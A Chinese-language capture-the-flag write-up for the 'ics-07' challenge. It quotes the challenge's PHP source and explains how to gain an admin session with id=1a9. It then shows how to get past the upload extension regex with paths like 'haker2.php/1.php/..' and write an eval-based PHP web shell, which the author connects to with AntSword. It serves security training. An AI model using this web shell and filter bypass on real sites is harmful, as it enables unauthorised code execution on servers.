ics-07
知识点
floatval($id)
返回参数的浮点部分,并转化为浮点型。
substr($str,-1)
返回字符串的最后一个字母
select * from actors where id='1afd945'
相当于id=1
chdir('uploaded')
改变当前的目录,相当于cd
Linux的目录结构特性
思路
进入题目界面,直接审计源码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>cetc7</title>
</head>
<body>
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
</body>
</html>
显然分为两个关卡,我们先构造?id=1a9
,成功通过第一关,使得$_SESSION['admin']=True
进入第二关
审计发现,我们上传的文件会被存放在uploaded/backup/下,而这里又进行了过滤,一开始我看一眼,发现过滤了php的全部可用后缀,然后上传.htaccess文件,发现解析不了,也就行不通,,然后就看了wp
发现正则这里原来可以绕过preg_match('/.+.ph(p[3457]?|t|tml)$/i', $filename)
表示的是最后一个.后面不允许出现php,php3之类的。
构造file=haker2.php/1.php/..&con=<?php echo "success";eval($_POST[hacker]); ?>
表示的意思是在1.php的父目录即hacker2.php所在的这个目录创建hacker2.php这个文件。
也可构造
file=haker3.php/.&con=<?php echo "success";eval($_POST[hacker]); ?>
在hacker3.php当前目录下创建hacker3.php文件。
即可实现绕过。然后蚁剑连接,拿到flag
参考博客!https://blog.csdn.net/qq_45552960/article/details/102777514